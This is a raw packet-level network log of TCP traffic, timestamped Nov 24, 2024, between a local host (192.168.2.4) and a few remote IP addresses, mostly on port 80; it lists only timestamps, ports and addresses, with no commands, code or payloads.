Nov 24, 2024 14:24:40.498713970 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.499428034 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.499548912 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.499695063 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.500149965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.500201941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.500236034 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.500268936 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.500788927 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.504180908 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.504228115 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.504292965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.504336119 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.508261919 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.508337021 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.508379936 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.512192965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.512268066 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.512305975 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.515441895 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.515480995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.515491962 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.516190052 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.516230106 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.516288996 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.516328096 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.520236015 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.520348072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.520404100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.524262905 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.524367094 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.524410009 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.528218031 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.528333902 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.528346062 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.528383970 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.532243013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.532305956 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.532309055 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.532347918 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.536227942 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.536344051 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.536500931 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.537815094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.538007021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.538130045 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.538958073 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.539083958 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.539211988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.539307117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.540252924 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.540334940 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.540363073 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.540364027 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.540376902 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.540962934 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.544219017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.544321060 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.544365883 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.548233986 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.548432112 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.548474073 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.552300930 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.552386999 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.552439928 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.556301117 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.556356907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.556427002 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.557719946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.557801008 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.557918072 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.560282946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.560333014 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.560420990 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.560465097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.564245939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.564282894 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.564342022 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.621819019 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.621829033 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.622050047 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.623769999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.623819113 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.624707937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.624772072 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.624814034 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.624869108 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.626653910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.627253056 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.627441883 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.627541065 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.629175901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.629293919 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.629352093 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.631134033 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.631223917 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.631258011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.633409977 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.637088060 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.655127048 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.655262947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.655340910 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.656622887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.656678915 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.656708002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.656752110 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.659723997 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.659826040 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.659881115 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.662513971 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.662689924 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.662741899 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.665503979 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.665692091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.665744066 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.666847944 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.667117119 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.667735100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.667804956 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.668299913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.668344975 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.668353081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.668380022 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.671183109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.671328068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.671377897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.673973083 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.674073935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.674138069 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.676734924 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.676843882 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.676909924 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.679488897 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.679536104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.679596901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.679642916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.682161093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.682245016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.682293892 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.684813976 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.684914112 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.684962034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.687473059 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.687516928 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.687535048 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.687580109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.690110922 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.690242052 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.690294981 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.692670107 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.692718029 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.692821980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.692877054 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.695216894 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.695283890 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.695333004 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.697798014 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.697897911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.697946072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.700361013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.700407028 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.700484991 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.700531006 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.702925920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.703023911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.703075886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.705490112 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.705559015 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.705611944 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.708092928 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.708139896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.708206892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.708257914 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.710625887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.710731030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.710779905 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.713308096 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.713430882 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.713480949 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.715802908 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.715850115 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.715895891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.715945959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.718359947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.718489885 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.718539953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.720920086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.720973015 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.721044064 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.723525047 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.723576069 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.723711014 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.723872900 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.726084948 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.726258993 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.726315022 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.728662014 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.728710890 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.728792906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.728842020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.729708910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.729794979 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.729870081 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.731203079 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.731246948 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.731337070 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.731380939 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.733779907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.733906984 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.733953953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.736368895 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.736423969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.736496925 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.736545086 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.738940001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.739037991 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.739089966 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.741539955 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.741657019 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.741714001 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.744029045 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.744085073 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.744168997 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.744219065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.746629953 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.746685982 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.746733904 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.749172926 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.749314070 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.749475956 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.751777887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.751842022 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.751846075 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.751882076 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.751885891 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.751893044 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.751939058 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.752846003 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.753031969 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.754336119 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.754416943 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.754451036 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.754483938 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.754498959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.754775047 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.754884958 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.754940033 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.756722927 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.756910086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.757004976 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.757059097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.759493113 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.759543896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.759623051 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.759669065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.763890028 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.764777899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.764823914 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.765754938 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.765773058 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.765820980 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.766454935 CET	49841	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:40.767198086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.767330885 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.767380953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.769104958 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.769205093 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.769217968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.769757032 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.769804955 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.769964933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.770013094 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.772375107 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.772428036 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.772458076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.772501945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.774908066 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.774965048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.775005102 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.775052071 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.780011892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.780030012 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.780081034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.781066895 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.781120062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.781177044 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.781251907 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.783752918 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.783770084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.783830881 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.785228968 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.785279036 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.785290003 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.785331964 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.787739992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.787785053 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.794424057 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.794509888 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.794544935 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.795377016 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.795469999 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.813833952 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.814013004 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.814104080 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.837100983 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.837112904 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.837172031 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.838064909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.838140011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.838304043 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.858685970 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.858766079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.858977079 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.865386963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.865433931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.865442991 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.865477085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.865906954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.865952015 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.865964890 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.866072893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.867782116 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.867830038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.867856979 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.867896080 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.869544983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.869618893 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.869663954 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.871370077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.871409893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.871438026 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.871483088 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.873110056 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.873157024 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.873178959 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.873224974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.874856949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.874905109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.874933004 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.874982119 CET	49838	80	192.168.2.4	185.215.113.16
